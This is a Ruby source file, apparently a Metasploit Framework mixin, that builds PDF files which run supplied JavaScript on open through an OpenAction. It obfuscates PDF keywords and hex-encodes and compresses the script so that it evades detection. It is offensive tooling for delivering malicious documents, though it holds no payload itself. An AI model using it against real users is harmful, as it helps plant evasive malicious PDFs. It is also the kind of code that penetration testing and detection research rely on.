160 lines
2.8 KiB
Ruby
160 lines
2.8 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
###
|
|
#
|
|
# This module provides methods for creating PDF files.
|
|
#
|
|
###
|
|
|
|
module Msf
|
|
module Exploit::PDF
|
|
|
|
def initialize(info = {})
|
|
super
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('PDF::Obfuscate', [ true, 'Whether or not we should obfuscate the output', true ]),
|
|
], Msf::Exploit::PDF
|
|
)
|
|
|
|
# We're assuming we'll only create one pdf at a time here.
|
|
@xref = []
|
|
@pdf = ''
|
|
end
|
|
|
|
|
|
def eol
|
|
"\x0d\x0a"
|
|
end
|
|
|
|
|
|
def endobj
|
|
"endobj" << eol
|
|
end
|
|
|
|
|
|
def RandomNonASCIIString(count)
|
|
result = ""
|
|
count.times do
|
|
result << (rand(128) + 128).chr
|
|
end
|
|
result
|
|
end
|
|
|
|
|
|
def ioDef(id)
|
|
"%d 0 obj" % id
|
|
end
|
|
|
|
|
|
def ioRef(id)
|
|
"%d 0 R" % id
|
|
end
|
|
|
|
|
|
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
|
def nObfu(str)
|
|
return str if not datastore['PDF::Obfuscate']
|
|
|
|
result = ""
|
|
str.scan(/./u) do |c|
|
|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
|
|
result << "#%x" % c.unpack("C*")[0]
|
|
else
|
|
result << c
|
|
end
|
|
end
|
|
result
|
|
end
|
|
|
|
|
|
def ASCIIHexWhitespaceEncode(str)
|
|
return str if not datastore['PDF::Obfuscate']
|
|
|
|
result = ""
|
|
whitespace = ""
|
|
str.each_byte do |b|
|
|
result << whitespace << "%02x" % b
|
|
whitespace = " " * (rand(3) + 1)
|
|
end
|
|
result << ">"
|
|
end
|
|
|
|
|
|
def header(version = '1.5')
|
|
hdr = "%PDF-1.5" << eol
|
|
hdr << "%" << RandomNonASCIIString(4) << eol
|
|
hdr
|
|
end
|
|
|
|
|
|
def add_object(num, data)
|
|
@xref << @pdf.length
|
|
@pdf << ioDef(num)
|
|
@pdf << data
|
|
@pdf << endobj
|
|
end
|
|
|
|
|
|
def pdf_with_openaction_js(js)
|
|
@xref = []
|
|
@pdf = ''
|
|
|
|
@pdf << header
|
|
|
|
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>")
|
|
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
|
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
|
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>"))
|
|
add_object(5, nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>")
|
|
|
|
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
|
|
stream = nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
|
|
stream << "stream" << eol
|
|
stream << compressed << eol
|
|
stream << "endstream" << eol
|
|
add_object(6, stream)
|
|
|
|
finish_pdf
|
|
end
|
|
|
|
|
|
def finish_pdf
|
|
@xref_offset = @pdf.length
|
|
@pdf << xref_table
|
|
@pdf << trailer(1)
|
|
@pdf << startxref
|
|
@pdf
|
|
end
|
|
|
|
|
|
def xref_table
|
|
ret = "xref" << eol
|
|
ret << "0 %d" % (@xref.length + 1) << eol
|
|
ret << "0000000000 65535 f" << eol
|
|
@xref.each do |index|
|
|
ret << "%010d 00000 n" % index << eol
|
|
end
|
|
ret
|
|
end
|
|
|
|
|
|
def trailer(root_obj)
|
|
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
|
|
ret
|
|
end
|
|
|
|
|
|
def startxref
|
|
ret = "startxref" << eol
|
|
ret << @xref_offset.to_s << eol
|
|
ret << "%%EOF" << eol
|
|
ret
|
|
end
|
|
|
|
end
|
|
end
|